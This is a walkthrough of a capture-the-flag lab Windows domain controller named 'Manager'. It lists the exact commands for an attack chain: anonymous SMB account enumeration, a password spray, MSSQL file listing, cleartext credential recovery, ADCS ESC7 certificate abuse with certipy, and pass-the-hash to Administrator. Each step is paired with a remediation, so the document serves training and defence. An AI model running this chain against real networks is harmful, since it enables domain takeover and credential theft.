J. Perez Duertojperezduerto.info
← all walkthroughs

Manager

Windows· Medium
owned
2026-07-28
time to own
12m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The domain controller DC01 (manager.htb, $TARGET) was fully compromised through a four-stage chain. SMB null-session authentication let me enumerate every domain account by RID cycling without a single credential. A username-as-password spray against that list yielded a valid SQL login (Operator's password), which was used to call the xp_dirtree stored procedure and list the IIS web root — revealing a forgotten backup archive.

That archive contained a hidden XML config file with the cleartext password for the domain user raven, giving an interactive WinRM shell. Raven held the 'Manage CA' permission on the enterprise Certificate Authority, which is the ADCS ESC7 misconfiguration: raven self-promoted to CA Officer, approved her own certificate request impersonating Administrator, and used the resulting certificate to recover the Administrator NTLM hash via Kerberos PKINIT — passing that hash directly into WinRM for full domain control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for raven>"
export PASSWORD2="<the-password-you-recovered, for Operator>"
export HASH="<the-hash-you-recovered, for Administrator>"

Attack path — how the box was taken

1EnumerationSMB null-session RID enumeration (T1087.002)
Enumerated every domain account via SMB null-session RID brute-force
The domain controller accepted SMB connections from an unauthenticated null session. By cycling through Windows Security Identifier (RID) values over that anonymous connection, I retrieved the full domain account list without any credentials: Zhong, Cheng, Ryan, Raven, JinWoo, ChinHae, Operator, Administrator, and guest. This roster became the direct input for the next credential spray.
Nxc smb with guest credentials and --rid-brute 6000 returned all domain account names from DC01.
Exact commands 1
shell

Unauthenticated RID walk against DC01; collects domain account names without any credential.

$ nxc smb $TARGET -u guest -p '' --rid-brute 6000
FixDisable SMB null sessions and guest account enumeration on the domain controllerHigh
WeaknessThe domain controller accepted unauthenticated SMB null-session connections, allowing any network-adjacent an unauthorised user to enumerate every domain account by walking Security Identifier (RID) values — without a single valid credential. This handed an unauthorised user the complete user list that made the credential spray possible.
FixEnable the following Group Policy settings on all domain controllers under Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options: set 'Network access: Do not allow anonymous enumeration of SAM accounts' and 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' to Enabled. Disable the guest account in Active Directory Users and Computers. Validate the fix by re-running an unauthenticated nxc smb --rid-brute probe and confirming no accounts are returned.
2Initial AccessPassword spraying / username-as-password (T1110.003)
Credential spray found the Operator account using its own username as its password
Each enumerated username was tested against itself as a password — a pattern that routinely succeeds on service or break-glass accounts that were provisioned quickly and never hardened. The domain account 'Operator' matched: Operator's password was a valid credential that granted authenticated access to the MSSQL instance running on the domain controller.
Nxc smb confirmed manager.htb\Operator's password as a valid, non-expired credential.
Exact commands 2
shell

Validates the username-as-password credential against SMB.

$ nxc smb $TARGET -u Operator -p $PASSWORD2
shell

Confirms the same credential grants MSSQL access on port 1433.

$ nxc mssql $TARGET -u Operator -p $PASSWORD2
FixEnforce a password policy that prohibits username-as-password and requires strong credentials for all accountsCritical
WeaknessThe Operator service account was configured with its own username as its password. This trivially defeated credential spraying controls and granted an unauthorised user immediate authenticated access to MSSQL on the domain controller.
FixApply a Fine-Grained Password Policy (PSO) to all service accounts requiring a minimum of 16 characters, complexity enabled, and a history of 24 passwords. Deploy Microsoft Entra Password Protection (available for on-premises AD) to block usernames, dictionary words, and company-name variants from being used as passwords. Rotate the Operator account credential immediately, and audit all accounts using the AD module: Get-ADUser -Filter * -Properties PasswordLastSet | Where-Object {$_.PasswordLastSet -lt (Get-Date).AddDays(-180)}.
3DiscoveryMSSQL xp_dirtree file-system enumeration (T1005)
Used MSSQL xp_dirtree to map the web root and locate an exposed backup archive
The Operator account had MSSQL access and the xp_dirtree extended stored procedure — which recursively lists the server's local file system — was executable by low-privilege users. Pointing it at C:\inetpub\wwwroot returned every file served by the IIS web server, including a downloadable backup archive named website-backup-27-07-23-old.zip that should never have been in a public directory.
Xp_dirtree output listed website-backup-27-07-23-old.zip directly under C:\inetpub\wwwroot.
Exact commands 1
shell

Lists files in the IIS web root via SQL; reveals the exposed backup archive.

$ nxc mssql $TARGET -u Operator -p $PASSWORD2 -q "EXEC master.sys.xp_dirtree 'C:\inetpub\wwwroot',1,1;"
FixRestrict MSSQL xp_dirtree and other file-system stored procedures to sysadmin accounts onlyHigh
WeaknessThe MSSQL instance permitted the low-privilege Operator account to execute xp_dirtree, a stored procedure that recursively lists the server's local file system. This directly revealed the backup archive in the IIS web root that led to credential theft.
FixRevoke execute permission on xp_dirtree, xp_fileexist, and xp_cmdshell from the public role: REVOKE EXECUTE ON xp_dirtree TO PUBLIC; REVOKE EXECUTE ON xp_fileexist TO PUBLIC; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE. Grant access only to the sysadmin server role if operationally required. Audit all extended stored procedures with: SELECT name FROM sys.all_objects WHERE type = 'X' AND is_ms_shipped = 0. Validate by re-running the original query as the Operator account and confirming an access-denied error.
4Credential HarvestingCredentials in files (T1552.001)
Downloaded the backup archive and extracted a cleartext domain credential from a hidden config file
The backup archive was served unauthenticated from the web root and downloaded directly. Inside was a hidden file, .old-conf.xml, containing the cleartext password for the domain user raven: <withheld>. This was a legacy configuration artifact inadvertently bundled into the archive — a single file that elevated me from a low-privilege SQL user to a domain account with remote management rights.
old-conf.xml inside the zip contained XML elements disclosing raven's cleartext password.
Exact commands 3
shell

Downloads the unauthenticated backup archive from the web server.

$ curl -s -o /tmp/backup.zip http://$TARGET/website-backup-27-07-23-old.zip
shell

Extracts the archive; look for hidden files beginning with '.'.

$ unzip -o /tmp/backup.zip -d /tmp/backup_extract
shell

Reveals raven's cleartext credential inside the hidden config file.

$ cat /tmp/backup_extract/.old-conf.xml
FixRemove backup archives and cleartext credentials from web-accessible directoriesCritical
WeaknessA ZIP archive containing a hidden XML configuration file with a cleartext domain password (raven's credential) was left in the IIS web root and was downloadable by any unauthenticated visitor. This single file bridged the gap from a low-privilege SQL user to a domain account with full WinRM access.
FixImmediately delete all backup, archive, configuration, and export files from any web-served directory. Establish and enforce the policy that web roots contain only runtime code and static assets — no .zip, .bak, .old, .sql, or .xml config files. Move backups to a dedicated, access-controlled network share (not accessible via HTTP). Implement a recurring scan (weekly minimum) of all web roots using a command such as: Get-ChildItem -Path C:\inetpub -Recurse -Include *.zip,*.bak,*.old,*.xml,*.sql. Rotate raven's credential immediately and audit all config files in source control for embedded secrets.
5FootholdValid account / WinRM lateral movement (T1021.006)
Authenticated to WinRM as raven and captured user.txt
The raven credential from the backup provided a WinRM shell on DC01. Raven was a standard domain user with remote management rights, giving me an interactive PowerShell session on the domain controller and read access to the user flag on raven's desktop.
Nxc winrm reported Pwn3d! For manager.htb\raven's password on port 5985; user.txt read successfully.
Exact commands 2
shell

Confirms WinRM access and reads user.txt -> <user.txt>

$ nxc winrm $TARGET -u raven -p "$PASSWORD" -x "type C:\Users\raven\Desktop\user.txt"
shell

Opens an interactive WinRM shell for privilege-escalation enumeration.

$ evil-winrm -i $TARGET -u raven -p "$PASSWORD"
6Privilege EscalationADCS ESC7 — Manage CA + Manage Certificates abuse (T1649)
Abused raven's 'Manage CA' right to self-issue an Administrator certificate (ADCS ESC7)
Raven's account held the 'Manage CA' permission on the enterprise Certificate Authority manager-DC01-CA. This is the ADCS ESC7 misconfiguration: a non-administrator holding Manage CA can promote themselves to CA Officer, which grants the ability to approve their own certificate requests. I used certipy to self-add raven as CA Officer, enable the permissive SubCA template, submit a certificate request impersonating administrator@manager.htb (which was initially denied by template ACL), and then manually approve and retrieve that pending request using the newly granted Officer rights — bypassing the ACL denial entirely.
Certipy-ad find -vulnerable identified manager-DC01-CA with raven holding ManageCA; ca -issue-request 20 issued the ACL-denied request; administrator.pfx retrieved successfully.
Exact commands 6
shell

Identifies vulnerable ADCS templates and CA permission misconfigurations.

$ certipy-ad find -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -vulnerable -stdout
shell

Self-promotes raven to CA Officer using existing Manage CA rights.

$ certipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -add-officer raven
shell

Enables the SubCA template on the CA.

$ certipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -enable-template SubCA
shell

Requests a certificate for administrator@manager.htb; denied by template ACL, generating a pending request (note the request ID returned).

$ certipy-ad req -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -template SubCA -upn administrator@manager.htb -target dc01.manager.htb
shell

Manually approves the denied request using CA Officer rights; substitute 20 with the actual pending request ID.

$ certipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -issue-request 20
shell

Retrieves the issued certificate as administrator.pfx.

$ certipy-ad req -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -retrieve 20 -target dc01.manager.htb
FixRemove 'Manage CA' and 'Manage Certificates' rights from non-PKI-administrator domain accountsCritical
WeaknessThe standard domain user raven held the 'Manage CA' permission on the enterprise Certificate Authority (manager-DC01-CA). This is the ADCS ESC7 misconfiguration: it allowed raven to self-promote to CA Officer and approve her own certificate request impersonating Administrator — recovering the Administrator NTLM hash and achieving complete domain compromise from a single over-granted CA permission.
FixOpen the Certificate Authority MMC (certsrv.msc) on the CA server, right-click the CA → Properties → Security tab, and remove 'Manage CA' and 'Issue and Manage Certificates' from every account that is not a dedicated PKI administrator. These rights should be held only by tier-0 administrators. Enable the CA Manager Approval requirement on all templates that can issue certificates for privileged accounts (Domain Admins, Enterprise Admins, Administrator), so no such certificate can be issued without a second PKI admin approving it. After the change, re-run certipy-ad find -vulnerable and confirm ESC7 is no longer flagged.
7Domain CompromiseKerberos PKINIT certificate authentication + NTLM pass-the-hash (T1550.002)
Used the forged certificate to recover the Administrator NTLM hash, then passed it to gain full domain control
The certificate issued in the previous step was valid for Kerberos PKINIT authentication as Administrator. An initial attempt failed with KRB_AP_ERR_SKEW — clock drift between my machine and the DC, a common stumbling block in ADCS attacks. After reading the DC's authoritative time via SMB2 negotiation and hard-setting the local clock to match, certipy successfully performed PKINIT, returned a TGT, and extracted the Administrator NTLM hash. That hash was passed directly into WinRM to open an Administrator shell and read root.txt, completing full domain compromise.
Certipy-ad auth returned NTLM hash for administrator@manager.htb; nxc winrm with -H reported Pwn3d! And root.txt was read.
Exact commands 4
shell

Reads the DC's authoritative clock; use the reported time to calculate and fix the local skew.

$ nmap -sT -p445 --script smb2-time $TARGET -Pn
shell

Hard-sets my clock to match DC time; substitute the actual timestamp from smb2-time output.

$ sudo date -u -s '2026-07-29 05:39:45'
shell

PKINIT authentication with the forged certificate; yields a TGT and the Administrator NTLM hash.

$ certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET -username administrator -domain manager.htb
shell

Pass-the-hash into WinRM as Administrator -> <root.txt>

$ nxc winrm $TARGET -u Administrator -H $HASH -x "type C:\Users\Administrator\Desktop\root.txt"

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1433/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
49667/tcp
49693/tcp
49694/tcp
49695/tcp
49728/tcp
49737/tcp
53/udp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.